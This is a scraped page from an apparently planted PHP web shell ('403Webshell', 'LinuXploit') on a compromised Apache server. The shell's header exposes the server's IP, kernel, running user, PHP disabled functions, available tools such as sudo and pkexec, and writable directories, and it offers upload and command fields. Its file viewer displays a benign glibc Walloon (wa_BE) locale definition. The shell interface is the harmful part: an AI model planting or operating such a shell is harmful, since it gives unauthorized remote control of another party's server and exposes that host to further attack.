403Webshell
Server IP : 103.119.228.120  /  Your IP : 13.59.234.182
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/share/i18n/locales/wa_BE
comment_char %
escape_char  /
% charset "UTF-8"
% Distribution and use is free, also for commercial purposes.

LC_IDENTIFICATION
title "Walloon Language Locale for Belgium"
source "Djan SACRE"
contact "Pablo Saratxaga"
email "pablo@mandrakesoft.com"
address ""
tel ""
fax ""
language "Walloon"
territory "Belgium"
revision "0.9"
date "2003-08-25"

category i18n:2000;LC_IDENTIFICATION
category i18n:2000;LC_COLLATE
category i18n:2000;LC_CTYPE
category i18n:2000;LC_MESSAGES
category i18n:2000;LC_MONETARY
category i18n:2000;LC_NUMERIC
category i18n:2000;LC_TIME
category i18n:2000;LC_PAPER
category i18n:2000;LC_MEASUREMENT
category i18n:2000;LC_TELEPHONE
category i18n:2000;LC_ADDRESS
category i18n:2000;LC_NAME

END LC_IDENTIFICATION

LC_ADDRESS
postal_fmt    "<U0025><U0066><U0025><U004E><U0025><U0061><U0025><U004E>/
<U0025><U0064><U0025><U004E><U0025><U0062><U0025><U004E><U0025><U0073>/
<U0020><U0025><U0068><U0020><U0025><U0065><U0020><U0025><U0072><U0025>/
<U004E><U0025><U007A><U0020><U0025><U0054><U0025>/
<U004E><U0025><U0063><U0025><U004E>"
country_name "<U0042><U0065><U006C><U006A><U0069><U006B><U0065>"
country_post "B"
country_ab2 "BE"
country_ab3 "BEL"
country_num 56
country_isbn "2"
country_car "B"
lang_name "<U0057><U0061><U006C><U006F><U006E>"
lang_ab "wa"
lang_term "wln"
lang_lib "wln"
END LC_ADDRESS

LC_CTYPE
copy "i18n"
translit_start
include "translit_combining";""

% A-bole -> A-circonflecse -> AU
<U00C5> "<U0041><U030A>";"<U0041>";"<U0041><U0055>"
<U00E5> "<U0061><U030A>";"<U0061>";"<U0061><U0075>"

translit_end
END LC_CTYPE

LC_COLLATE
copy "fr_BE"
END LC_COLLATE

% COMINTAIRE : dj' a radjouté on "a" et on "w" po les yesexpr
% pace ki "oyi" si pout dire ossi "awè" (Lîdje), ayi (Årdene)
% et "way" (Nivele).
LC_MESSAGES
yesstr  "<U004F><U0079><U0069>"
nostr   "<U004E><U0065><U006E><U0069>"
yesexpr "<U005E><U005B><U006F><U004F><U0079><U0059><U0061><U0041><U0077><U0057><U005D><U002E><U002A>"
noexpr  "<U005E><U005B><U006E><U004E><U005D><U002E><U002A>"
END LC_MESSAGES

% COMINTAIRE: doet esse li minme ki po fr_BE.
LC_MONETARY
copy "fr_BE"
END LC_MONETARY

% COMINTAIRE: doet esse li minme ki po fr_BE.
LC_NUMERIC
copy "fr_BE"
END LC_NUMERIC

% COMINTAIRE: doet esse li minme ki po fr_BE.
LC_PAPER
copy "fr_BE"
END LC_PAPER

% COMINTAIRE: doet esse li minme ki po fr_BE.
LC_MEASUREMENT
copy "fr_BE"
END LC_MEASUREMENT

% COMINTAIRE: doet esse li minme ki po fr_BE.
LC_TELEPHONE
copy "fr_BE"
END LC_TELEPHONE

% COMINTAIRE: a çu ki dji sai, i gn a nou rascourti _oficir_
% po les moes et les djoûs.
% Donk, dji fwai come ça _mi_ shonne lodjike.
%
% Po les rascoutis, on a metou "djn" po djun, et "djl" po djulete.

LC_TIME
abday   "<U0064><U0069><U006D>";"<U006C><U006F><U006E>";/
        "<U006D><U00E5><U0072>";"<U006D><U0069><U0065>";/
        "<U0064><U006A><U0075>";"<U0076><U00E9><U006E>";/
        "<U0073><U0065><U006D>"
day     "<U0064><U0069><U006D><U0065><U0067><U006E><U0065>";/
        "<U006C><U006F><U006E><U0064><U0069>";/
        "<U006D><U00E5><U0072><U0064><U0069>";/
        "<U006D><U0069><U0065><U0072><U006B><U0069><U0064><U0069>";/
        "<U0064><U006A><U0075><U0064><U0069>";/
        "<U0076><U00E9><U006E><U0072><U0064><U0069>";/
        "<U0073><U0065><U006D><U0064><U0069>"
abmon   "<U0064><U006A><U0061>";"<U0066><U0065><U0076>";/
        "<U006D><U00E5><U0073>";"<U0061><U0076><U0072>";/
        "<U006D><U0061><U0079>";"<U0064><U006A><U006E>";/
        "<U0064><U006A><U006C>";"<U0061><U0077><U006F>";/
        "<U0073><U0065><U0074>";"<U006F><U0063><U0074>";/
        "<U006E><U00F4><U0076>";"<U0064><U0065><U0063>"
mon     "<U0064><U006A><U0061><U006E><U0076><U00EE>";/
        "<U0066><U0065><U0076><U0072><U00EE>";/
        "<U006D><U00E5><U0073><U0073>";/
        "<U0061><U0076><U0072><U0069>";/
        "<U006D><U0061><U0079>";/
        "<U0064><U006A><U0075><U006E>";/
        "<U0064><U006A><U0075><U006C><U0065><U0074><U0065>";/
        "<U0061><U0077><U006F><U0075><U0073><U0073><U0065>";/
        "<U0073><U0065><U0074><U0069><U006D><U0062><U0065>";/
        "<U006F><U0063><U0074><U00F4><U0062><U0065>";/
        "<U006E><U00F4><U0076><U0069><U006D><U0062><U0065>";/
        "<U0064><U0065><U0063><U0069><U006D><U0062><U0065>"
% Pol cogne des dates (li longue cogne), c' est on pô målåjhey, ca i fåt
% stitchî on "di" ou on "d'" pa dvant li no do moes. Donk:
% "Li prumî" ou "Li 1 di djanvî 1999"
% di fevrî
% di måss
% d' avri
% di may
% di djun
% di djulete
% d' awousse
% di setimbe
% d' octôbe
% di nôvimbe
% di decimbe
% Est çki c' est possibe d' aveur "di" ou "d'" sorlon ki li no do moes
% cmince avou ene voyale ou ene cossoune?
%
% Neni :-(

d_t_fmt "<U004C><U0069><U0020><U0025><U0041><U0020><U0025><U0064><U0020><U0064><U0069><U0020><U0025><U0042><U0020><U0025><U0059><U0020><U0025><U0054><U0020><U0025><U005A>"
% Chal, ça va
d_fmt   "<U0025><U0064><U002F><U0025><U006D><U002F><U0025><U0059>"
t_fmt   "<U0025><U0048><U003A><U0025><U004D><U003A><U0025><U0053>"
am_pm   "<U0041><U004D>";"<U0050><U004D>"
t_fmt_ampm "<U0025><U0049><U003A><U0025><U004D><U003A><U0025><U0053><U0020><U0025><U0070>"
first_weekday 2
first_workday 2
END LC_TIME

LC_NAME
name_fmt "<U0025><U0064><U0025><U0074><U0025><U0067><U0025><U0074><U0025><U006D><U0025><U0074><U0025><U0066>"
name_gen ""
name_mr "M."
name_mrs "Mme"
name_miss "Mle"
name_ms "Mme"
END LC_NAME

Youez - 2016 - github.com/yon3zu
LinuXploit